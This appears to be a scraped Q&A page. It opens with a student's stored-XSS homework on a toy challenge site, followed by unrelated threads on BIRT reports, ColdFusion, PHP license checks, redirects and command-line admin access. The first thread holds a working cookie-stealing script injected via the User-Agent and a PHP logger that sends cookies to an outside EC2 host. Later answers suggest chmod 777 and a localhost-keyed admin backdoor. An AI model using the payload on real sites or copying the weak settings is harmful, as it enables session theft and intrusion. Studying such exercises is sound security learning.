I am doing this persistent cross site scripting challenge homework, we are supposed to steal cookie by useragent injection. More details of this challenge can be found on this page (basic 41):
Background:
since this challenge is on a toy website, the website simulate the victim viewing the page for us. What we need to do is to inject the code to the challenge page server and steal victim's cookie by that code and send those cookies to a web server we set up ourselves. Once we successfully collected victims' cookies, we can set our own cookie to those values to pass the challenge.
What I did so far:
Set up the web server on aws ec2.
I believe it's centos, but can't find more release information since getting trouble installing centos-release package or things like that. All I can find is only: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2. Inbound rules are set to be port 22 for ssh and port 80 for http. httpd, mysql, php are installed and tested working. File index.html under /var/www/http display normally in browser.
Put cookie_stealer.php under /var/www/http
My code of cookie_stealer.php:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
Inject code to user agent of Chrome:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
So far, I successfully injected the code, but the value of document.cookie won't be passed to my php file. So I am currently focusing on this issue.
extra information
I am testing how to pass variable to php by testing through url:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
an interesting(WEIRD!!) thing is, after I added the folloing line to my php file after the $_GET['c'] line:
echo 'Cookie: ' . $cookie . "\r\n";
the value of c can be printed on the web page as ahhh, but isn't written into the log.txt. The log.txt only records this:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
My question is, if the variable c is passed to $cookie on server, why that ternary operator always return 'There is no variable c' while the web page displaying ahhh. Can anyone tell me why this is happening or where else I can look at? Any hint would be appreciated!
You may need to change the file permission to write into that log file. Try:
chmod -R 777 log.txt
My first thought is:
You may need to URLEnclode the cookie text. It's possible that it has some stuff in it that breaks your URL request.
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
Then in PHP you may or may not have to decode it, if you do you can do this:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
For example your instructor my have slipped a # sign or something in there. I can't say for sure as I have never sent a cookie through a query argument, but I don't think they are meant to be sent that way.
In any case this was too much for a comment, hope it helps!
Related
I am using Birt 4.5 and PHP/MYSQL.
I am able to run birt reports with php. I have enabled tomcat and copied 'birt-runtime-4_5_0/WebViewerExample' to tomcat/webapps and renamed it to birt.
So I can run birt viewer with php;
<?php
$fname = "report/test.rptdesign&__showtitle=false";
$dest = "http://localhost:8081/birt/frameset?__report=";
$dest .= $fname;
header("Location: $dest" );
?>
Above code is working fine. But report connectstring already saved in test.rptdesign file.
I want to remove DB login credentials from test.rptdesign file and assign it while report open with PHP.
I have tried with report parameters. But all the parameters will display on browser address-bar.
Is there any secure way to do this? This is very important when we need to change the database location. It is very hard to change the data source of each and every .rptdesign file.
Thank You,
Supun
I don't believe using report parameters to handle a database connection is the right way. In addition to the address-bar problem you mentionned, it will cause unexpected issues: for example you won't be able to use this database to feed the dataset of another report parameter.
With Tomcat the best approach is to externalize the database connection in a connection pool: easy, robust, and reports might run significantly faster.
Alternatively the datasource can be externalized in a BIRT library (.rptlibrary) and shared across all report-designs: thus only the library needs to be updated when the database location is changing.
I agree with Dominique that sending the database parameters via the query is most likely an inappropriate solution - and you've not given any explanation of whether this is a requirement of the system.
But it is quite trivial to proxy the request via PHP and decorate the URL with the required parameters, something like...
<?php
$_GET['__showtitle']=$_GET['__showtitle'] ? $_GET['__showtitle'] : 'false';
$_GET['__report']=$fname; // NB this should be NULL in your code!
$_GET['dbuser']='a_db_user';
$_GET['passwd']='s3cr3t';
$qry=http_build_query($_GET);
$url="http://localhost:8081/birt/frameset?" . $qry;
// if its simply returning HTML, then just....
$fin=fopen($url, 'r');
while ($l=fgets($fin)) {
print $l;
}
exit;
If the returned content contains relative links the you'll need to rewrite the output stream. If the content type is unusual or you want to project other headers (e.g. for caching) to the browser, then you'll need to use Curl, capture the headers and relay them.
I'm maintain a customer website - PHP - and today, when I migrate from a shared server to a VPS... I need to configure coldfusion from scratch.
Obs.: I never use ColdFusion in my life
But I get this error: Variable DSNNAME is undefined. And I don't where I configure that.
The web site you are accessing has experienced an unexpected error.
Please contact the website administrator.
The following information is meant for the website developer for debugging purposes.
Error Occurred While Processing Request
Variable DSNNAME is undefined.
The error occurred in /home/project/public_html/projectname/integracao/register/members_body.cfm: line 303
Called from /home/project/public_html/projectname/integracao/register/frame.cfm: line 45
Called from /home/project/public_html/projectname/integracao/register/members.cfm: line 5
301 : <td>
302 : <div align="right">
303 : <cfquery name="Qry_location" datasource="#dsnname#">
304 : SELECT * FROM location
305 : WHERE location_active = '1'
Resources:
Check the ColdFusion documentation to verify that you are using the correct syntax.
Search the Knowledge Base to find a solution to your problem.
Browser Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36
Remote Address 189.15.195.13
Referrer http://projectname/site/index.php?option=com_content&view=article&id=53&Itemid=12
Date/Time 27-Oct-14 07:17 PM
Stack Trace
at cfmembers_body2ecfm207100474.runPage(/home/project/public_html/projectname/integracao/register/members_body.cfm:303) at cfframe2ecfm1139106636.runPage(/home/project/public_html/projectname/integracao/register/frame.cfm:45) at cfmembers2ecfm1994964255.runPage(/home/project/public_html/projectname/integracao/register/members.cfm:5)
coldfusion.runtime.UndefinedVariableException: Variable DSNNAME is undefined.
at coldfusion.runtime.CfJspPage._get(CfJspPage.java:388)
at coldfusion.runtime.CfJspPage._get(CfJspPage.java:350)
My structure is that:
/home/project/public_html/projectname/application.cfm
/home/project/public_html/projectname/integracao/register/members_body.cfm
I need that members.cfm file, read the file Application.cfm. How can I do that?
<cfinclude template="/application.cfm"/>
Are you on *nix? If so, application file names are case sensitive. Is your file named Application.cfm? Note the first letter is upper case "A". If not, that could explain why it does not fire. CF is looking for Application.cfm, not application.cfm. So the latter would be ignored.
Like you said, you have to configure it from scratch. If you never worked with CF before, afew points.
To run your queries in CF code you need to connect them with a database. That is done through Datasource Attribute of CFQUERY.
As a general practice, developers often store the darasource name in a persistent variable and keep it inside Application.cfm or Application.cfc. In your case this persistent variable's name is DSNNAME.
ColdFusion needs to establish a connection with the database. That is done by creating a connection in the CF Admin screen, through the link you posted.
That said, this is how you do it: Say you have a SQL Server database, click on Data Sources and add the Data Source from there. Pretty easy it is. Once you create the Data Source, assign that Datasource to the DSNNAME variable in Application.cfm or Application.cfc.
Somehow, a ColdFusion config file needed by your application is not being read properly. It might not have been included in the .cfm files you were given, as this sort of file is often server-specific and put on source code management ignore lists.
If the file exists, but is not being called, you can probably find it by searching for strings like dsnname= dsnname = etc.
What you pasted into your question is the CF Administrator console, which probably won't help fix this issue. You will however have to make sure the database is properly configured and named to match whatever #dsnname# evaluates to.
Your best bet might be to contact whomever wrote the code and ask if a config/settings file might have been left out.
I solve that problem including the application.cfm in every page.
Yes, it's crazy, but is the only solution works.
<cfinclude template="/application.cfm"/>
But what I wanted is every .cfm file auto-include application.cfm, as the old shared hosting.
I'm working on a php installer for a web application / software.
The installer need a valid license ID to finish the installation (for example: "aDs34Nsi9sa").
To check if the license ID is valid i have a php script on my main domain that check my db and return 1 if the licenseID exist and is active or 0 otherwise. This file should be called like this:
https://www.domain.com/check.php?id=aDs34Nsi9sa
So i'm wondering if is correct to use file_get_contents() to check the license ID via PHP..
$check = file_get_contents("https://www.domain.com/check.php?id=$license_field");
if( $check == 1 ) {} // finish installation
else {} // print error msg
Is this way correct and secure?
Of course, you need to properly URL-encode data before injecting it into a URL. And it's up to your remote server to detect brute force attacks. Other than that:
Your check assumes that allow_url_fopen is enabled and PHP has SSL support. Make sure you explain that in the requisites and get ready for support enquiries and workaround coding.
Data sent through SSL should remain private enough.
And, well, it isn't particularly difficult to crack. Malicious users just need to impersonate the remote site.
In a long tiredsome quest to speed up my site, I have figured out something is wrong with the redirection: currently my index.php handles all the homepage redirections via PHP header location 301 Redirect Permanently: website.com >> website.com/en/home and website.de >> website.de/de/home etcettera etcettera (around 20 for this multilingual website) it takes anywhere from 200ms to 6000ms to do the redirecting. Check out the waterfall!
After that, the page loads in a thunderbolt's blink of an eye!
What a waste of time wouldn't you say? What is the server doing all this time?
After careful examination, my best guesse is: ITS DOING LAUNDRY!
I am almost giving up on PHP for this!
Any and all clues to my puzzling prob are very welcomed +1
A. Given facts: Apache/2.0.54 Fedora, PHP 5.2.9. there is no database: just flat php files with around 15 php includes that completes my page with headers and footers). YSlow Grade: 92/100! Good page Speed: 93/100! javascript and css are as much as possible combined. Cache controlls seem well set too (as proven by the grades). Whats missing in those 7 points out of 100: not using Keep-Alive (beyong my controll in shared hosting and not using Content Delivery Network. I can live with those missing 7 points, but this is major hit on speed!
B. Furthermore: i recently was given great insights over here that i should use url rewriting via htacces. Point taken, BUT, perhaps there is sometin else wrong here that i should correct before moving on to the for me more difficult apache regex syntaxes.
C. Faster way: When I php include the intended homepage, instead of redirect, then all loads fast, but the url is not rewritten: it sits at website.com on the browser bar, whereas i wish after including it to become website.com/en/home. Is this possible with PHP? To include+change the current address of the url, too?
Conclusions: you can redirect using index.php, or using .htaccess. Sofar from my tests (coming from the genius answers below!THANKS EVERYONE!) the latter seems unmatched in speed: much faster redirecting than a php redirect! reducing the redirect to shorter than the first dns lookup.
see here how to do this correclty for multilingual site
Damn, I hate getting stuck with this kind of problem. You need to eliminate some variables.
First I should point out that PHP will not flush all of its own headers until you start outputting things (or, if the output_buffering(?) ini directive is set to x bytes, until you have output x bytes). So the following script will not finish "sending headers" until the very end:
<?php
header('Content-Type: text/pants');
sleep(6);
header('Ding-Ding: time to put the socks in the dryer');
echo "z"; // headers are sent here
What happens to the call to en/home if you put exit; or echo "wheeeee"; exit; at the very top of that PHP script? Then what happens when you substitute it with a plain, empty file? If the php script with exit is slow but the plain text file is fast, the PHP interpreter is probably playing funny buggers. If you still get the delay for both, you've eliminated the actual response generation as the cause (but I'm still trying to come up with some ideas if this is the case).
Also, can you ssh to the server? If so, can you try wgetting the same page from inside the server? If you can without the speed problem, I would be looking at the client side. If you can't SSH, you could try doing a request from PHP, though I'm really not sure if this will work:
<?php
$context = stream_context_create(array(
'http'=>array(
// send request headers if you need to
'header'=>array(
'Foo: Bar',
'Bar: Baz',
),
),
));
$start = microtime(true);
$response = file_get_contents('http://yourserver.com/', null, context);
$end = microtime(true) - $start;
var_dump($end);
// for some bizarre reason, PHP emits this variable into the local scope.
var_dump($http_response_header);
Have you tried doing the same request from other machines, or other places in the world? This can confirm or deny if it's just your machine.
Another thing you can try if it is the response generation is to do a little bit of hack-profiling on the production server. I hate having to do this stuff, but sometimes your code just refuses to behave on the production server like it behaves in your development environment or on staging. Do this to the script that generates /en/home:
<?php
// put this at the very top
$rqid = uniqid('', true);
$h = fopen(__DIR__.'/crap.log', 'a');
fwrite($h, $rqid.' [START] '.microtime(true).PHP_EOL);
fclose($h);
// do all that other wonderful stuff, like laundry or making a cup of tea
// put this at the very end
$h = fopen(__DIR__.'/crap.log', 'a');
fwrite($h, $rqid.' [END] '.microtime(true).PHP_EOL.PHP_EOL);
fclose($h);
Run a few requests against it, check to make sure 'crap.log' is getting stuff written to it (check permissions!!), and then you'll have some data that will show whether there is something in your script that needs to be investigated further as the cause of the slowness.
Oh, did I mention MySQL indexes? Are you doing any queries during the request? Have you added all of the proper indexes to the tables?
Steven Xu raises a good point in the comments for your question - are you sure the program you're using to generate the waterfall is giving you good info? Try installing Firebug if you haven't already, click the little firebug icon in the bottom right of firefox and make sure the "Net" panel is open, then re-run your request and see if the waterfall is consistent with the results you're seeing in the program you used.
Also, I know this is kind of a boneheaded suggestion and I apologise, but I think it needs to be said: your host doesn't allow ssh and only uses PHP 4? I would seriously consider another host. It may even solve this specific problem.
I will add more stuff as I think of it.
If it is indeed the headers taking ages, then your JS/CSS/HTML is irrelevant.
You can do the forwarding in .htaccess.
RewriteEngine On
RewriteRule ^$ en/home [R=301]
This will essentially send the same header, but it won't invoke the PHP engine first to do it :)
Update
On closer inspection, it would seem to me that your en/home page is taking the longer time to download.
I think Ignacio Vazquez-Abrams may have the answer: after you call header() to do the redirection you need to call exit() to cause the PHP script execution to stop. Without that the script will keep executing, sending output to the browser, until the end. Since the browser has to wait for the server side script to end before performing the redirection that could cause the problem.
Update
Just read Alex's update and he seems to be correct. The /en/home page is where the time is.
Is it OK to give full authorization to any request coming from the command line?
My idea was to make this check:
if(isset($_SERVER['argc']) AND $_SERVER['argc']>=2) {
// it must be the admin, give him full authorization, no further checks needed.
} else {
// normal web request, authentication needed.
}
Does this make sense?
Anything else I should know before I start using the command line to execute my php scripts?
It's only safe if the server has only one user. Otherwise you need to either:
Check for the correct user ID in the script
Make the script only executable for that user
(This is assuming a Linux server)
The command line is not a very good place from which to control your web application: your app displays HTML output, which is not much good to a human looking at a console (not to mention the JavaScript that won't work etc).
You could arrange for different output to be generated when running from the command line, but as a practical matter: why bother with all this? Why not have the administrator be authenticated from the web just like any other user?
If you want to have a special backdoor built into your app anyway though, I would suggest something like this (which is web-based):
define('ADMIN_BACKDOOR', true); // comment out to disable
$is_admin = defined('ADMIN_BACKDOOR') && $_SERVER['REMOTE_ADDR'] == '127.0.0.1';
This is IMO next to impossible to exploit, and it allows you admin access from a natural environment (the browser).